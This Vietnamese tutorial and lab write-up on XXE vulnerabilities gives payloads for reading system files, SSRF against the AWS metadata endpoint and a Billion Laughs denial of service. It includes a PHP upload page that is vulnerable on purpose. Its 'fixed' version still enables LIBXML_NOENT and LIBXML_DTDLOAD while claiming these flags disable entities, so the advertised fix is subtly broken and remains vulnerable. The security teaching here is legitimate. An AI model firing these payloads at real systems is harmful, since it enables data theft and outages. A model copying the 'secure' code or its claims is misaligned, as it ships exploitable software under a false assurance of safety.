XXE

1.Lý thuyết

1.1 Định nghĩa

XML (eXtensible Markup Language) là gì?

XML (**eXtensible Markup Language**) là một ngôn ngữ đánh dấu có cấu trúc dùng để **lưu trữ và truyền tải dữ liệu** theo định dạng có thể đọc được cả bởi con người và máy tính. XML không định nghĩa cách hiển thị dữ liệu mà chỉ tập trung vào cách tổ chức và lưu trữ dữ liệu.

Lỗi XXE (XML External Entity)

XXE (XML External Entity) là một lỗ hổng bảo mật trong xử lý XML, xảy ra khi một ứng dụng phân tích một tài liệu XML mà không tắt tính năng xử lý **External Entities** (thực thể bên ngoài). Kẻ tấn công có thể khai thác lỗi này để thực thi mã từ xa, đánh cắp dữ liệu nhạy cảm, tấn công từ chối dịch vụ (DoS), và nhiều hành vi nguy hiểm khác.

Ví dụ về XML hợp lệ

- Một XML bình thường không chứa thực thể bên ngoài:

```
<?xml version="1.0" encoding="UTF-8"?>
<user>
   <name>Nguyễn Văn A</name>
</user>
```

Ví dụ về XML chứa External Entity

- Một XML có thể bị khai thác nếu hệ thống hỗ trợ thực thể bên ngoài (`<!ENTITY>`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>
```

Nếu hệ thống không chặn **XXE**, nó sẽ thay thế `&xxe;` bằng nội dung của file `/etc/passwd` và trả dữ liệu về cho kẻ tấn công.

1.2 Phân loại lỗi XXE

Có 2 loại chính của lỗ hổng XXE:

a) In-band XXE (XXE trực tiếp)

- Kẻ tấn công có thể đọc nội dung file ngay trong phản hồi HTTP.
- Dữ liệu được nhúng trong phản hồi trả về.
- **Ví dụ**: Trích xuất file `/etc/passwd` và hiển thị nội dung trên trang web.

b) Out-of-band XXE (OOB-XXE)

- Khi phản hồi trực tiếp bị chặn, kẻ tấn công có thể gửi dữ liệu ra ngoài qua giao thức khác như HTTP, FTP, SMB.
- **Ví dụ**: Lấy nội dung file và gửi đến một server do hacker kiểm soát (`http://attacker.com`).

1.3 Cách khai thác lỗi XXE

a) Đọc file hệ thống

Ví dụ, truy xuất nội dung của `/etc/passwd` trên Linux:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&file;</name>
</user>
```

b) Tấn công SSRF (Server-Side Request Forgery)

XXE có thể được dùng để gửi request đến các địa chỉ nội bộ, như API nội bộ hoặc metadata service của AWS (`http://169.254.169.254`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<user>
  <name>&ssrf;</name>
</user>
```

Kết quả có thể trả về thông tin nhạy cảm như **IAM credentials** trên AWS.

c) Tấn công từ chối dịch vụ (DoS)

Một dạng phổ biến của XXE-DoS là **"Billion Laughs Attack"**, tạo một chuỗi đệ quy khiến server bị quá tải.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
```

```
]>
<user>
   <name>&lol3;</name>
</user>
```

Server sẽ bị treo hoặc crash do tiêu thụ quá nhiều bộ nhớ.

1.4 Cách phòng chống XXE

Để bảo vệ hệ thống khỏi XXE, cần áp dụng các biện pháp sau:

1.Tắt xử lý thực thể bên ngoài trong XML parser

Hầu hết các thư viện XML parser cho phép tắt tính năng này. Dưới đây là cách vô hiệu hóa External Entities trong một số ngôn ngữ:

Python (lxml)

```
import lxml.etree as ET

parser = ET.XMLParser(resolve_entities=False)  # Vô hiệu hóa entity
tree = ET.parse("data.xml", parser)
```

Java (SAXParser)

```
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

PHP (SimpleXML)

```
libxml_disable_entity_loader(true);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
```

2. Sử dụng JSON thay vì XML

- Nếu có thể, nên dùng **JSON** thay vì XML vì JSON không hỗ trợ thực thể bên ngoài.
- Ví dụ:

```
{
   "user": {
      "name": "Nguyễn Văn A"
   }
}
```

3. Kiểm tra dữ liệu đầu vào (Input Validation)

- Kiểm tra và từ chối các nội dung có chứa `<!DOCTYPE>`, `<!ENTITY>`.
- Chỉ chấp nhận dữ liệu XML hợp lệ theo schema quy định.

4. Sử dụng WAF hoặc IDS/IPS

- Một số firewall có thể phát hiện và chặn các request chứa payload XXE.
- Ví dụ: **ModSecurity** trên Apache hoặc **AWS WAF**.

5. Kiểm tra bảo mật định kỳ

- Thực hiện **pentest** để phát hiện lỗi XXE.
- Sử dụng công cụ như **Burp Suite**, **OWASP ZAP** để kiểm tra lỗ hổng.

2. Thực hành

2.1 Xây dựng trang web có lỗi XXE

- Có chức năng cho phép upload file XML.
- Nội dung file XML là danh sách một số sinh viên với các thông tin [Tên, Năm sinh, Trường học]
- Chức năng parse XML và in ra bảng thông tin sinh viên sau khi đã parse.
- Code chức năng parse XML sao cho **xuất hiện lỗi BLIND XXE**.

1. Xây dựng web lỗi

```php
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['xmlfile'])) {
    $xmlFile = $_FILES['xmlfile']['tmp_name'];

    if (!file_exists($xmlFile)) {
        die("File không tồn tại!");
    }

    $xmlContent = file_get_contents($xmlFile);
    if (!$xmlContent) {
        die("Lỗi: Không thể đọc nội dung file XML!");
    }

    $dom = new DOMDocument();
    libxml_use_internal_errors(true);

    // Bật chế độ thay thế thực thể (XXE Attack)
    if (!$dom->loadXML($xmlContent, LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT)) {
        die("Lỗi: XML không hợp lệ!");
    }

    $students = simplexml_import_dom($dom);
    if (!$students) {
```

```
        die("Lỗi: Không thể parse XML!");
    }

    echo "<h2>Dữ liệu trong XML:</h2>";
    foreach ($students->student as $student) {
        echo "Tên: {$student->name}, Năm sinh: {$student->year}, Trường: {$student->school}<br>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Upload XML</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="xmlfile" required>
    <button type="submit">Upload</button>
</form>
</body>
</html>
```

1. Cho phép tải và xử lý thực thể bên ngoài

Bạn đang sử dụng `LIBXML_NOENT` và `LIBXML_DTDLOAD`, điều này cho phép **thay thế và tải thực thể bên ngoài**.

```
if (!$dom->loadXML($xmlContent, LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT)) {
```

- **`LIBXML_NOENT`** → Cho phép thực thể được giải mã (`&xxe;` sẽ được thay bằng nội dung từ URL/file hệ thống).
- **`LIBXML_DTDLOAD`** → Cho phép tải DTD từ bên ngoài, tạo cơ hội để khai thác XXE.
- **`LIBXML_DTDATTR`** → Cho phép các thuộc tính từ DTD được tải vào XML, mở rộng phạm vi tấn công.

2. Cách khai thác XXE với đoạn code trên

1. **Tấn công đọc file hệ thống** (`file:///C:/Windows/win.ini` hoặc `/etc/passwd`)

Kẻ tấn công có thể tải lên file XML như sau:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
        <!ELEMENT data (student+)>
        <!ELEMENT student (name, year, school)>
        <!ELEMENT name (#PCDATA)>
        <!ELEMENT year (#PCDATA)>
        <!ELEMENT school (#PCDATA)>
        <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
        ]>
<data>
    <student>       <name>&xxe;</name>
        <year>2000</year>
        <school>HTB University</school>
    </student></data>
```

💀**Khi được xử lý, server sẽ trả về nội dung của** **`/etc/passwd`** (trên Linux) hoặc `C:\Windows\win.ini` (trên Windows).

2. **Tấn công SSRF (Server-Side Request Forgery)**

📌 Kẻ tấn công có thể gửi file XML như sau:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "http://internal-system/admin">
]>
<data>
    <student>
```

```
        <name>&xxe;</name>
        <year>2000</year>
        <school>HTB University</school>
    </student>
</data>
```

💀 **Nếu server có API nội bộ (`http://localhost/admin`), nó có thể bị lộ thông tin quan trọng.**

Kết quả:

> **Dữ liệu trong XML:**
>
> Tên: ; để hỗ trợ ứng dụng 16-bit [fonts] [extensions] [mci Extensions] [files] [Mail] MAPI=1 , Năm sinh: 2000, Trường: HTB University
>
> Chọn tệp | Không có tệp nào được chọn | Tải lên

2.2 Xây dựng trang web đã sửa lỗi XXE

```php
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['xmlfile'])) {
    $xmlFile = $_FILES['xmlfile']['tmp_name'];

    if (!file_exists($xmlFile)) {
        die("File không tồn tại!");
    }

    // Đọc nội dung file XML
    $xmlContent = file_get_contents($xmlFile);
    if (!$xmlContent) {
```

```php
        die("Lỗi: Không thể đọc nội dung file XML!");
    }

    // Xóa DOCTYPE để chặn XXE hoàn toàn
    $xmlContent = preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlContent);

    $dom = new DOMDocument();
    libxml_use_internal_errors(true); // Bắt lỗi XML

    // Vô hiệu hóa DTD và thực thể bên ngoài    $dom->validateOnParse = false;

    // Load XML với cờ bảo mật cao
    if (!$dom->loadXML($xmlContent, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NONET)) {
        die("Lỗi: XML không hợp lệ!");
    }

    $students = simplexml_import_dom($dom);
    if (!$students) {
        die("Lỗi: Không thể parse XML!");
    }

    echo "<table border='1'>
            <tr><th>Tên</th><th>Năm sinh</th><th>Trường học</th></tr>";
    foreach ($students->student as $student) {
        echo "<tr><td>" . htmlspecialchars($student->name, ENT_QUOTES, 'UTF-8') . "</td>
              <td>" . htmlspecialchars($student->year, ENT_QUOTES, 'UTF-8') . "</td>
              <td>" . htmlspecialchars($student->school, ENT_QUOTES, 'UTF-8') . "</td></tr>";
    }
    echo "</table>";
}
?>

<!DOCTYPE html>
<html>
```

```
<head>
    <title>Upload XML</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="xmlfile" required>
    <button type="submit">Upload</button>
</form>
</body>
</html>
```

🔎 Các biện pháp bảo vệ XXE đã áp dụng

1. **Xóa DOCTYPE** 👉 `preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlContent);`
   → Chặn hoàn toàn thực thể bên ngoài (external entity).
2. **Vô hiệu hóa DTD & thực thể** 👉 `LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NONET`
   → **Không cho phép tải DTD bên ngoài hoặc xử lý thực thể tùy chỉnh**.
3. **Sử dụng** `htmlspecialchars()` để chống **XSS** (nếu hacker đưa script vào XML).